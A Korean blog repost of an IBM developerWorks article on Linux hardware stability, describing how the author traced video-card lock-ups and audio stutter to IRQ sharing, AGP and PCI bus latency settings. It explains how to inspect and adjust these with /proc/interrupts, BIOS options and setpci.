내 머리속에 떠오른 생각 중 하나는 내가 가지고 있는 하드웨어가 약간 미약하다는 것이였다. 반면 Diamond Viper V550은 Windows NT에서는 아무런 문제가 없었다. 하지만 Linux에서는 칩이 경직되고 열(heat) 과 관련된 lock-up이 생긴다. V550는 극도로 뜨거워졌고 OEM heatsink는 그런대로 적절했다. 나는 V550을 위해 heatsink/fan이 통합된 것을 구입하기 위해 PC Power and Cooling을 참조했다. (참고자료)

그렇게 해서 나는 Video Cool을 구입했다. 비디오 카드에 있던 OEM heatsink를 떼고 TNT 칩을 청소하고 칩의 상단에 Video Cool을 붙였다. 결과는? 비디오 카드는 더 이상 뜨거워지지 않았다. 하지만 lockup은 계속되었다. 이 특별한 경험을 통해서 배운 한 가지 교훈은 시스템이 시작하기에 적당할 정도로 냉각되었다는 것을 확신할 수 있다면 부적절한 냉각으로 인한 컴포넌트의 오작동에 대해서 걱정하지 않아도 된다는 것이다. workstation과 서버를 뜨거워지지 않게 유지하며 실행하기 위해서는 시간과 노력이 필요하다. 열과 관련된 문제들을 연구해본 결과 lockup은 결함있는 하드웨어 때문이 아니라는 것을 알았다. 다른 요소를 찾아보기 시작했다.

새로운 드라이버만이 솔루션인가?
나는 부분적으로는 NVIDIA의 드라이버가 문제의 원인이라고 생각했다. 다행히 신 버전 드라이버가 배포되었다. 그래서 나는 즉시 업그레이드 하였다. 안정성 문제를 해결할 수 있기를 희망했다. 하지만 openprojects.net의 다른 #nvidia channel을 검토한 결과 어떤 누구도 드라이버를 안정적으로 실행시키지 못했다. 내가 나서야 할 때라고 생각했다.

#nvidia와 관련하여 어떤 사람은 V550가 IRQ를 다른 카드와 공유하지 않는 것이 분명하다고 말한다. 표준 XFree86 드라이버와는 다르게 NVIDIA 드라이버는 올바른 작동을 위해 IRQ가 필요하다. 드라이버가 "cat /proc/interrupts"를 입력하고 지켜보았다. V550는 IDE 컨트롤러와 인터럽트를 공유하고 있었다. 문제를 해결했던 방법을 설명하기에 앞서 IRQ에 대해 간단히 설명하겠다.

PC는 IRQ (일반적으로 하드웨어 인터럽트)를 사용하여 비디오 카드와 디스크 컨트롤러와 같은 주변의 디바이스가 실행 준비가 된 데이터를 가지고 있는 CPU에 신호를 주도록 한다. PCI 버스라는 것이 존재하기 전에는 머신의 디바이스 마다 전용의 IRQ를 가지고 있어야만 했다. 여러분이 아직도 ISA 주변장치를 사용하고 있다면 그 사실은 여전히 유효하다. 모든 non-PCI 디바이스들은 전용의 IRQ를 가져야 한다.

IRQ & PCI
하지만 이것은 PCI bus와는 약간 다르다. PCI는 네 개의 IRQ를 할당하여 시스템의 PCI/AGP 카드에 의해 사용될 수 있다. 일반적으로 이러한 IRQ는 다중 디바이스들 사이에서 공유 될 수 있다. (공유를 수행하는 모든 디바이스가 PCI와 AGP 디바이스인지를 확인하라.) IRQ 공유는 중요하다. 다섯개의 PCI와 한 개의 AGP 슬롯을 가지고 있는 머신에 있어 특히 중요하다. IRQ 공유 없이는 시스템에 IRQ를 사용하는 카드를 네 개 이상 가질 수 없다.

하지만 PCI IRQ 공유에도 제한은 있다. 일반적으로 마더보드 BIOS와 Linux 커널이 PCI IRQ 공유를 지원하는 반면 특정 PCI 카드는 IRQ를 다른 디바이스와 공유할 때 작동하지 않을 때가 있다. 간헐적인 시스템 lockup을 경험했다면, 특히 lockup이 특정 하드웨어 디바이스의 사용과 관련이 있다면 모든 PCI 디바이스가 고유의 IRQ를 사용하도록 해야한다. 우선 디바이스들이 IRQ를 공유하고 있는지를 보는 것이 첫 번째 순서이다:

디스크, 사운드, 비디오, SCSI 같은 하드웨어 디바이스를 사용한다. 이것으로 Linux가 이러한 다양한 디바이스에 대한 인터럽트를 핸들할 것임을 알 수 있다.
지금까지 Linux 커널이 핸들했던 모든 인터럽트 리스트와 카운트(count)를 나타내는 "cat /proc/interrupts"는 리스트의 가장 오른쪽 칼럼을 참조하라. 한 행에 두 개 이상의 디바이스 리스트가 있다면 그것들이 특정 IRQ를 공유하고 있는 것이다.
해당 디바이스 중 하나가 non-PCI 디바이스 (ISA 또는 기타 레거시 카드)라면 IRQ 충돌이라는 것을 알 것이다. BIOS나 isapnptools 패키지 또는 physical peripheral 카드에 물리적 점퍼를 가해서 픽스할 수 있다. 디바이스가 마더보드에 내장되었다면 이것이 물리적 PCI 슬롯을 차지하지 않더라도 PCI 디바이스일 가능성이 크다는 것을 주목하라.

해당되는 모든 디바이스들이 PCI 또는 AGP 디바이스라면 하드웨어에 따라서 문제가 생길 수도 있다. 모든 PCI/AGP 디바이스를 고유의 IRQ를 할당하는 방법이 있다:

시스템 BIOS에 들어가서 사용되지 않은 주변기기를 사용 불가 상태로 만든다 (USB, 병렬 포트 등.). 이는 많은 IRQ를 이용할 수 있게 하고 사용되는 하드웨어가 고유의 IRQ를 할당받을 수 있는 기회를 얻게된다.
BIOS의 PnP 섹션으로 들어가 BIOS가 "non-PnP" OS로 설정되었다는 것을 확인한다. 그런 다음 "Reset ESCD data" 옵션을 선택한다. 이것은 BIOS가 여러분이 다음에 재부팅 할 때 모든 하드웨어 디바이스에 IRQ를 재할당 할 수 있도록 한다.
Linux를 부팅하고 cat /proc/interrupts를 사용하고 결과를 본다. 다행스럽게도 모든 디바이스들이 고유의 IRQ를 가지고 있다.
만일 PCI 디바이스가 여전히 IRQ를 공유하고 있다면 여러분이 취할 수 있는 두 가지 옵션이 있다. 어떤 BIOS 셋업 프로그램은 특정 PCI 슬롯에 특정 IRQ를 할당할 수 있다. 만일 여러분이 이러한 드문 BIOS 셋업 프로그램 중 한 개를 가지고 있다면 이 기능을 사용하여 충돌을 줄이는데 사용할 수 있다. 만일 BIOS에 이 옵션이 없다면 또 다른 확실한 방법이 있다. 컴퓨터를 종료하고 파워를 끈다. PC의 전원을 끄는 것이다. 그리고 몇 분 정도 기다린다. 그런다음 시스템 케이스를 열고 PCI 카드를 다른 슬롯으로 옮긴다. 이 옵션은 약간 이상한 방법이지만 아주 훌륭하게 작동할 것이다. 특히 시스템에 몇 개의 여분의 PCI 슬롯이 있다면 더욱 효과적이다. (단, 각 카드에 맞는 정확한 슬롯을 찾는데는 시간이 걸린다).

"PCI 카드 교체하기 트릭"을 통해 내 시스템의 모든 디바이스가 고유의 IRQ를 얻을 수 있었다. 내 IDE 디바이스중 두 개는 여전히 IRQ를 공유하고 있다:





하지만 이것은 정상이다. 왜냐하면 ide2와 ide3 디바이스 Promise FastTrak IDE 카드의 같은 칩으로 통합되었기 때문이다.

거의 모든 디바이스는 고유의 IRQ를 가지고 있기 때문에 나의 accelerated 드라이버를 시도했지만..한 시간이 못되어서 lockup 되었다. 공유된 PCI IRQ 문제게 아니라는 것이 명백해졌다.

끊임없이 발생하는 문제들
몇 시간이 흐른 후에 NVIDIA 드라이버를 완벽하게 실행시킬 수 있는 어떤 방법을 발견했다. 하지만 좀 더 느려졌고 AGP를 사용할 수 없었다. 내가 이러한 상황을 원하지 않은 만큼 현재 버전의 드라이버는 AGP가 XF86Config에 한 라인을 추가함으로서 완전히 꺼질 수 있도록 하였다. AGP를 꺼 놓은 상태에서 비디오의 메모리 대역을 4x로 줄였다. 하지만 매우 느렸던 3D는 다른 어떤 3D acceleration 보다 훨씬 빠르다. AGP를 사용 불가 상태로 만든 후에 마침내 안정적인 시스템을 갖게 되었다. 하지만 이러한 일시적인 솔루션은 다른 문제를 야기시켰다. 3D OpenGL 애니메이션이 지속될 때마다 오디어 플레이백은 고르지 못했다!

다행스럽게도 나는 오디오 문제에 대한 솔루션을 찾을 수 있었다. setpci 유틸리티를 사용하여 PCI 디바이스에 더욱 적절한 PCI bus latency 타이머를 설치했다. 문제 해결 방법을 설명하겠다. 하지만 우선 배경 지식이 필요하다.

PCI 버스는 제한된 대역의 공유 리소스이기 때문에 하나의 PCI가 다른 PCI 카드의 퍼포먼스에 좋지 않은 영향을 끼칠 가능성이 있다. 예를들어 A라는 PCI 카드가 버스를 통해 데이터를 보내는 중에 동시에 B라는 PCI 카드가 데이터 전송을 시도한다면? A가 과연 버스 사용을 허용할까? 아니면 데이터 전송을 그대로 진행할까? 만일 그렇다면 얼마나 오래 진행할까?

PCI latency timer
이러한 질문에 대한 대답은 각각의 PCI 디바이스가 가지고 있는 설정 가능한 PCI bus latency timer와 관련이 있다. 각각의 PCI 디바이스에 맞는 PCI 버스 latency timer 값을 적절히 설정하는 것은 Linux의 역할이다. 대부분 디폴트 세팅이 적당히 되어있다 (최적의 세팅은 아니다). 모든 디바이스는 훌륭히 수행되고 시스템도 적절히 작동한다. PCI 버스 latency timer는 0에서 248 까지 설정할 수 있다. 디바이스가 zero 세팅이 되어있을 경우 다른 디바이스가 전송이 필요하다면 이것은 즉시 버스를 포기한다. 만일 디바이스 세팅이 248로 되어 있다면 멈추기 전까지 오랜 시간동안 버스의 사용을 지속할 것이다. 다른 디바이스는 순서를 기다린다.

모든 디바이스의 PCI 버스 latency timer가 비교적 높게 설정되어 있고 많은 데이터가 버스를 통해 보내질 때 PCI 카드는 일반적으로 버스 제어권을 얻기 전까지 더 오랜시간을 기다린 후에 데이터 전송을 시작할 수 있다. 하지만 버스 제어권을 일단 얻으면 버스가 다른 디바이스로 넘어가기 전까지 이것을 통해서 많은 데이터를 전송할 수 있을 것이다. 왜냐하면 높은 PCI 버스 latency timer 설정은 latency를 늘릴 뿐만 아니라(데이터 전송 지연) 효과적인 대역을 증가시킨다. 각각의 디바이스가 인터럽트 없이 버스를 통해 많은 데이터를 전송하기 때문에 PCI 버스 latency timer 세팅은 좀더 효율적으로 사용되고 PCI 디바이스는 더 많은 데이터를 전송할 수 있는 것이다.

다른 한편으로 PCI 디바이스가 낮은 PCI 버스 레이턴시로 설정되어 있다면 다른 카드가 데이터 전송을 해야 할 때 버스를 기꺼이 포기 할 것이다. 데이터 전송 지연이 훨씬 느려진다. 왜냐하면 어떤 디바이스도 늘어난 시간동안 버스를 붙잡고 있지 않을 것이기 때문이다. 이것의 단점은 낮게 설정된 PCI bus latency timer가 두개 이상의 PCI 디바이스가 동시에 작동할 때 효율적인 PCI 버스 대역을 감소시킨다는 점이다. 많은 데이터 폭주는 자주 발생하지 않으며 버스 제어는 오버헤드를 늘리며 빠르게 변한다.

대부분의 Linux 배포판에는 pci-utils라고 하는 툴이 포함되어 있다. 이것으로 PCI 디바이스의 latency timer 세팅을 보고 변경 할 수 있다. 현재 PCI latency 세팅을 보기 위해서 다음과 같이 해보자:





이 명령어를 타이핑하면 PCI 디바이스에 대한 모든 정보가 매우 자세하게 나온다. 각 디바이스에 대한 PCI 레이턴시 세팅은 세 번째 라인에 나온다. IRQ 세팅 바로 전이다.

PCI latency 접근방법
사운드 문제와 관련된 것은 어떻게 되었는가? 글쎄, 디폴트 PCI latency 설정으로 인해서 사운드 문제를 경험했다. V550이 3D acceleration을 수행할 때 PCI 버스를 억제했다. V550는 AGP 2X 카드이다. 그래서 AGP (안정성을 위해)를 끌 때, 메인 메모리를 75%로 유지하기위해 카드의 대역을 줄인다. V550는 더욱 느려진 PCI 버스를 통해 같은 양의 데이터를 보내려하기 때문에 PCI 버스는 거의 100% utilization에 가까워지고 이것은 사운드 하드웨어에 문제를 일으킨다. 오디오 디바이스는 PCI 레이턴시 문제에 특별히 민감하다. 이유는 오디오 디바이스는 일반적으로 데이터 버퍼가 작고 버퍼를 피하기 위해 제 시간에 오디오 데이터가 전달되어야 하기 때문이다. 현재의 설정으로는 V550는 많은 PCI 대역을 사용하고 있다. 데이터를 사운드 카드로 도달하도록 하기에는 충분하지 못하다. 그래서 나는 오디오 왜곡(distortion)을 경험했던 것이다. 버퍼 언더런(buffer underrun) 때문이다.

두 가지 가능한 솔루션이 있다. 우선 가장 확실한 솔루션은 setpci 명령어를 사용하여 V550의 PCI latency timer를 줄이는 것이다. 이는 PCI 버스를 더욱 빠르게 공유하게 하고 다른 디바이스가 작은 latency로 데이터를 전송할 수 있도록 한다. setpci 명령어를 사용하여 문제 해결을 시도 했고 효과가 있었다. 하지만 이 방법을 사용하지 않기로 했다. 왜냐하면 나는 이미 불구가 된 3D 그래픽 퍼포먼스를 극대화 하고 싶었기 때문이다.

나는 두 번째 방법인 높은 퍼포먼스를 시도하기로 했다. 550 PCI bus latency를 줄이는 대신 나의 모든 디바이스의 PCI latency를 비교적 높은 값인 176으로 늘렸다. (디바이스는 일반적으로 디폴트 레이턴시가 32이다. 디폴트 레이턴시가 200이상인 V550을 제외하고). 그런다음 레이턴시에 민감하게 반응하는 디바이스의 PCI 버스 레이턴시를 최대 248로 설정했다. 이것은 내가 바라던 대로 문제를 해결했다. 사운드 카드는 비교적 많은 데이터를 전송하게 되었다. 버스의 사용을 극대화하고 버퍼 언더런(buffer underrun)을 줄였다. 동시에 나의 다른 디바이스들은 많은 양의 데이터를 전송할 수 있게되었다. 버스를 호깅(hogging)하는 문제가 줄어들고 버스를 효율적으로 사용하였다. 나는 이 솔루션을 특별히 좋아한다. 왜냐하면 나의 개발 머신의 PCI 버스의 대역 효율성을 늘리면서 동시에 오디오 문제도 해결했기 때문이다. 시스템 시작 스크립트를 소개한다. 몇가지 트릭이 사용되었다:




첫 번째 라인에서, -d *:* 옵션은 setpci에게 이 세팅을 모든 PCI 디바이스에 적용하라고 명령한다. latency_timer=b0 옵션은 타이머를 176로 설정한다. 마지막 두개의 라인에 있는 -s 옵션은 PCI 버스/슬롯 기능에 따라 PCI 디바이스를 지정한다. 벤더와 디바이스 ID에 의해서가 아니다. 이것은 lspci를 타이핑 할 때 각각의 디바이스에 대해 나와있는 첫번째 숫자들이다. ff 값은 latency timer를 256으로 설정한다. setpci에 의해 248까지 내려간다. PCI latency timer와 관련된 문제를 경험했다면 lspci와 setpci를 사용하여 시스템에 맞는 최적의 값을 찾아보라. 하드웨어가 이것을 핸들할 수 있다면 가장 큰 latency timer 값이 가장 좋다.


원문 : http://www-903.ibm.com/developerworks/k ··· hw2.html
"System" 카테고리의 다른 글
  • 리눅스에서의 메모리관리 (0)2007/05/04
  • 리눅스 시스템 콜 레퍼런스 (0)2007/05/04
  • Linux 하드웨어 안정성 가이드, Part 2 (0)2007/05/04
  • Linux 하드웨어 안정성 가이드, Part 1 (0)2007/05/04
  • 리눅스 시스템 서비스를 병렬화하여 부팅 속도 향... (0)2007/05/03
2007/05/04 14:45 2007/05/04 14:45
Posted by webdizen
Tags Linux, 하드웨어 안정성
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2894

Leave your greetings.

[로그인][오픈아이디란?]

«Prev  1 2  Next»

RSS HanRSS
Blog Image
webdizen
이곳은 컴퓨터에 대해 연구하고, 공유하고, 소통하기 위한 연구실입니다. 개인적으로는 OLAP, Data Mining, Semantic Web, Data Modeling에 대해서 연구하고 있습니다.

Categories

전체 (3009)
Webdizen (141)
Life (6)
Diary (16)
Blog (9)
IDEA (2)
Travel (10)
Book (16)
Photo (7)
Movie (8)
Music (14)
Leisure Sports (10)
Funny (6)
Hardware (121)
Software (120)
Windows (5)
Unix & Linux (120)
Installation (5)
Kernel (10)
System (34)
Develop (22)
X-Window (0)
Applicaton (31)
Security (4)
Framework (2)
Hadoop (2)
Programming (804)
Algorithm & Data Structure (1)
Assembly (38)
UNIX/Linux C (95)
C++ (128)
STL (4)
Java (38)
Win32 API (92)
ATL/COM (44)
MFC (151)
.NET (26)
WCF/WPF (4)
C# (28)
Network Programming (17)
Database Programming (12)
OpenGL / DirectX (13)
Multimedia Programming (0)
Game Programming (21)
Parallel Distributed Progra... (0)
Reverse Engineering (0)
Debugging (9)
Python (1)
Ruby (1)
Ruby on Rails (1)
QT (4)
GTK (0)
JSP (0)
PHP (6)
ASP.NET (6)
ASP (2)
Development (28)
Useful Library (2)
Data Modeling (0)
Database (105)
Oracle (4)
MSSQL (41)
MySQL (2)
Data Warehouse (2)
Data Mining (4)
Network (66)
Web (79)
DHTML (4)
XHTML (1)
Javascript (1)
CSS (1)
AJAX (9)
XML (11)
Flex (1)
Silverlight (3)
Security (91)
DoS (1)
Kernel (10)
Scanning (3)
Sniffing (0)
Spoofing (4)
Overflow (28)
Web (11)
Shell (10)
Format String (14)
Window (2)
Embedded (70)
Multimedia (27)
Mobile (14)
Graphic (24)
Management (633)
Knowledge (581)
Hadoop (0)

Notice

  • 메타 블로그 사이트에 등록
  • 새해 맞이 블로그의 변화
  • 블로그 명칭 변경
  • 도메인(www.webdizen.net) 구...
  • TEXTCUBE 1.6.1로 업그레이드...

Tags

  • Video
  • CEdit
  • HIDS
  • 돌체 리만코
  • 세션빈
  • 톨스토이
  • 시스템 테이블
  • WaitCursor
  • Debugging
  • 청년 리더
  • SQL Injection
  • 256Color
  • WORLD IT SHOW
  • 한국과학기술원
  • 캐시 누락
  • Debugging Trace Macro
  • 보드카 알렉산더
  • Flex 2
  • 노테르담
  • 악세사리

Recent Articles

  • 트위터(Twitter)의 시작!.
  • 청년 리더의 조건.
  • 애플의 타블렛 PC - 아이패드....
  • 미래의 인터페이스 - 육감 기....
  • 기초발성법 동영상 강좌.

Recent Comments

  • 학교 과제물중 쓰레드에 대하....
    장진혁 03/17
  • 관리자만 볼 수 있는 댓글입....
    비밀방문자 03/12
  • 상대방의 이야기를 열심히 경....
    DoNuts 03/03
  • Lots of students know techn....
    Bobbi35Shannon 02/25
  • 좋은글 잘 보고 갑니다..
    Und_hacker 01/08

Recent Trackbacks

  • printf,scanf를 이용한 형식....
    yundream의 프로그래밍 이야기 03/10
  • 파일 열기/저장하기 CFileDialog.
    은마군의 나태블록 2009
  • World IT Show 2008.
    상우 :: Oranzie's BLOG 2008
  • cvs서버 설치하기.
    3인3색 2008
  • 속속 공개되는 Google Chart....
    PHP와 Web 2.0 2007

Archive

  • 2010/02 (1)
  • 2010/01 (6)
  • 2009/12 (5)
  • 2009/09 (3)
  • 2009/08 (1)

Calendar

«   2010/03   »
일 월 화 수 목 금 토
  1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31      

Bookmarks

    • Administration
      • IIS.NET
      • NTFAQ
      • OS의 모든 것
      • 리눅스포털
    • Database
      • SQL Server Central
      • SQL Team
    • Development
      • .NET Heaven
      • ASP Alliance
      • ASP.NET 2.0
      • Bullog.net
      • C# Corner
      • C++ (C PlusPlus.com)
      • C++ Reference
      • CodeGuru
      • CodePlex
      • DebugLab
      • Dev Articles
      • Devpia
      • DotNet Junkies
      • DotNet Zone
      • Driver Online
      • GOSU.NET
      • HOONS 닷넷
      • Joinc 팀블로그
      • KOSR
      • MSDN Home Page
      • OSR Online
      • Sky.ph - 개발자 커뮤니...
      • TAEYO.NET
      • The Code Project
      • WindowsClient.net
      • 김상욱의 개발자 Side
      • 조인시 위키
    • Human Networks
      • belief21c's e-space
      • I think I can
      • Invisible Rover's Blog :D
      • Rodman®
      • ■ Feel So Good~! ■
      • 까만 나비
      • 나를 가꾸는 시간.
      • 나만의 즐거움~~!
      • 단녕
      • 상우 :: Oranzie's BLOG
    • Information Technology
      • Microsoft TechNet
      • 지디넷코리아 - 글로벌...
    • Security
      • FoundStone
      • milw0rm
      • NewOrder
      • OpenRCE
      • Phrack.org
      • Reverse Engineering b1...
      • Reverse Engineering Team
      • RootKit
      • SecurityFocus
      • SecurityXploded by Nag...
      • Wow Hacker
      • Zone-H
Textcube
Louice Studio Inc.
Powered by Textcube. Original designed by Tistory.